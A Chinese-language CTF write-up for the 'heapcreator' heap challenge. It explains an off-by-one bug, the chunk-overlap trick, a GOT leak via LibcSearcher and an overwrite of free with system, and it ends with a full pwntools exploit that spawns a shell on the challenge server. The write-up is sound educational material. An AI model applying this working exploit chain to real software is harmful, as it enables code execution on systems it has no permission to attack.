这一题在wiki上面是有的,在Chunk Extend and Overlapping里面,个人觉得这一题对于我这种刚开始学习堆的人来说,是比较容易理解的一题
拖进IDA
create_heap函数:
值得注意的是,他这里是会有两次malloc的,也就是说,你申请了一次,他就会创建两个chunk,第一个chunk是0x20大小的,可以看作是记录的作用,里面存放着第二个chunk的size和指针,同时,第一个chunk的地址指针保存在bss段中,heaparray数组这里:
这样表述起来可能不太清晰,我申请两次Create a Heap,两个都是0x20大小的chunk,第一个存的数据是"aaaa",第二个存的数据时"bbbb",这样一来,heap的布局是这样的:
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000010 0x0000000000603030 (chunk0的大小和指针)
0x603020: 0x0000000000000000 0x0000000000000021 (chunk0)
0x603030: 0x0000000a61616161 0x0000000000000000 (“aaaa”)
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x0000000000000010 0x0000000000603070 (chunk1的大小和指针)
0x603060: 0x0000000000000000 0x0000000000000021 (chunk1)
0x603070: 0x0000000a62626262 0x0000000000000000 (“bbbb”)
0x603080: 0x0000000000000000 0x0000000000020f81 (top chunk)
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
这样的布局一看就有事可搞,继续看下面的函数
edit_heap函数:
可以看到的是,这里有off-by-one漏洞
show_heap函数:
delete_heap函数:
注意这里是会把之前申请到的两个chunk都free掉的
接下来就是解题的过程了,对于基本思路,wiki上是这么说的:
1.利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
2.申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
具体来看脚本:
首先,创建四个,在第四个的内容写入“/bin/sh",一会儿会用到
create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
create(0x10,'/bin/sh')
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000010 0x0000000000603030 (chunk0的大小和指针)
0x603020: 0x0000000000000000 0x0000000000000021 (chunk0)
0x603030: 0x0000000a61616161 0x0000000000000000 (“aaaa”)
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x0000000000000010 0x0000000000603070 (chunk1的大小和指针)
0x603060: 0x0000000000000000 0x0000000000000021 (chunk1)
0x603070: 0x0000000a62626262 0x0000000000000000 (“bbbb”)
0x603080: 0x0000000000000000 0x0000000000000021
0x603090: 0x0000000000000010 0x00000000006030b0 (chunk2的大小和指针)
0x6030a0: 0x0000000000000000 0x0000000000000021 (chunk2)
0x6030b0: 0x0000000a63636363 0x0000000000000000 (“cccc”)
0x6030c0: 0x0000000000000000 0x0000000000000021
0x6030d0: 0x0000000000000010 0x00000000006030f0 (chunk3的大小和指针)
0x6030e0: 0x0000000000000000 0x0000000000000021 (chunk3)
0x6030f0: 0x0a68732f6e69622f 0x0000000000000000 ("/bin/sh")
0x603100: 0x0000000000000000 0x0000000000020f01 (top chunk)
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000000
注意这里chunk0申请的是0x18大小,但实际得到的是一个0x20的chunk,因此,写入数据时会用的下一个chunk的prev_size域,也就是0x603040到0x603048的地方,同时因为存在着off-by-one的漏洞,我们可以修改0x603048处的数据,即修改了这个chunk的size
edit(0,'a'*0x18+'\x81')
delete(1)
这里就把0x603048处的数据改成了0x81,然后free
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)
因为我们前面把0x603048处改成了0x81,这里申请0x70大小时,实际所需的chunk大小其实为0x80,因此,这里申请到的chunk正是前面被free掉的那一部分,前一步和这一步做完之后,可能比较难理解的就是这么做的意义是什么,实现了什么样的效果
其实,把chunk处的数据列出来就显而易见了:
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000010 0x0000000000603030
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x6161616161616161 0x6161616161616161
0x603040: 0x6161616161616161 0x0000000000000081
0x603050: 0x6464646464646464 0x6464646464646464
0x603060: 0x6464646464646464 0x6464646464646464
0x603070: 0x6464646464646464 0x6464646464646464
0x603080: 0x6464646464646464 0x6464646464646464
0x603090: 0x0000000000000008 0x0000000000602028 (free_got)
0x6030a0: 0x0000000000000000 0x0000000000000021 (chunk2)
0x6030b0: 0x0000000a63636363 0x0000000000000000 (“cccc”)
0x6030c0: 0x0000000000000000 0x0000000000000021
0x6030d0: 0x0000000000000010 0x00000000006030f0 (chunk3的大小和指针)
0x6030e0: 0x0000000000000000 0x0000000000000021 (chunk3)
0x6030f0: 0x0a68732f6e69622f 0x0000000000000000 ("/bin/sh")
0x603100: 0x0000000000000000 0x0000000000020f01 (top chunk)
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000000
由于0x603050-0x6030c0的数据我们都可以随意编辑,这样一来,我们就控制了这一区域的数据,最最最重要的是,我们成功修改掉了0x603098处的chunk2的指针,我们可以通过这个指针,输出任意地址处的内容,也可以改写任意地址处的数据,即实现了任意读写的功能
这样说来对于我这样的初学者来说可能还是会有点懵,结合下面的实际操作,应该就不难理解了:
show(2)
sh.recvuntil('Content : ')
free_addr = u64(sh.recvuntil('Done')[:-5].ljust(8,'\x00'))
执行show(2),他就会输出chunk2指针所在处的内容,而chunk2指针已经被我们改成了free_got,这样一来我们就泄露了free的地址
然后我们计算出system函数的地址:
libc=LibcSearcher("free",free_addr)
system_addr=free_addr+libc.dump("system")-libc.dump("free")
上一步我们干的事情是任意地址的读取,接下来我们要利用这个指针进行任意地址的改写,比如我们把free的地址改成system函数的地址,然后因为chunk3处的数据是"/bin/sh",执行free(chunk3)的时候,实际上是执行了system("/bin/sh"):
edit(2,p64(system_addr))
delete(3)
sh.interactive()
完整exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
sh=remote("node3.buuoj.cn",25984)
elf=ELF('./heapcreator')
def create(length,value):
sh.recvuntil("Your choice :")
sh.sendline("1")
sh.recvuntil("Size of Heap : ")
sh.sendline(str(int(length)))
sh.recvuntil("Content of heap:")
sh.sendline(value)
def edit(index,value):
sh.recvuntil("Your choice :")
sh.sendline("2")
sh.recvuntil("Index :")
sh.sendline(str(int(index)))
sh.recvuntil("Content of heap : ")
sh.sendline(value)
def show(index):
sh.recvuntil("Your choice :")
sh.sendline("3")
sh.recvuntil("Index :")
sh.sendline(str(int(index)))
def delete(index):
sh.recvuntil('Your choice :')
sh.sendline('4')
sh.recvuntil('Index :')
sh.sendline(str(int(index)))
create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
create(0x10,'/bin/sh')
edit(0,'a'*0x18+'\x81')
delete(1)
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)
show(2)
sh.recvuntil('Content : ')
free_addr = u64(sh.recvuntil('Done')[:-5].ljust(8,'\x00'))
libc=LibcSearcher("free",free_addr)
system_addr=free_addr+libc.dump("system")-libc.dump("free")
edit(2,p64(system_addr))
delete(3)
sh.interactive()